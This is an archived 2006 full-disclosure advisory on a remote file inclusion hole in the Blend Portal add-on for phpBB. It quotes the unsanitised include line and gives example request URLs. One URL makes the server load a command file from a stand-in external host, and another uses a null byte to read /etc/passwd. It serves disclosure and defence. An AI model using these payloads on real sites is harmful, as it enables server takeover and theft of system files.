--Security Report-- Advisory: Blend Portal <= 1.2.0 for phpBB 2.x (blend_data/blend_common.php) File Inclusion Vulnerability. --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 28/05/06 07:52 PM --- Contacts:{ ICQ: 10072 MSN/Email: nukedx@nukedx.com Web: http://www.nukedx.com } --- Vendor: phpbb-portal (http://www.phpbb-portal.com/) Version: 1.2.0 and prior versions must be affected. About: Via this methods remote attacker can include arbitrary internal/external files to phpBB. phpbb_root_path variable in /blend_data/blend_common.php did not sanitized properly before using it.You can find vulnerable code in blend_common.php at lines 74-77 -Source in blend_common.php- 74: else 75: { 76: include_once($phpbb_root_path . BLEND_DATA_PATH . BLEND_CACHE_PATH .'config.'. $phpEx); 77: } -End of source- Level: Highly Critical --- How&Example: Succesful exploitation needs register_globals on & allow url_fopen on GET -> http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=[FILE] EXAMPLE -> http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=http://yoursite.com/cmd.txt? EXAMPLE -> http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=/etc/passwd%00 --- Timeline: * 28/05/2006: Vulnerability found. * 28/05/2006: Contacted with vendor and waiting reply. --- Exploit: http://www.nukedx.com/?getxpl=41 --- Original advisory can be found at: http://www.nukedx.com/?viewdoc=41 _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/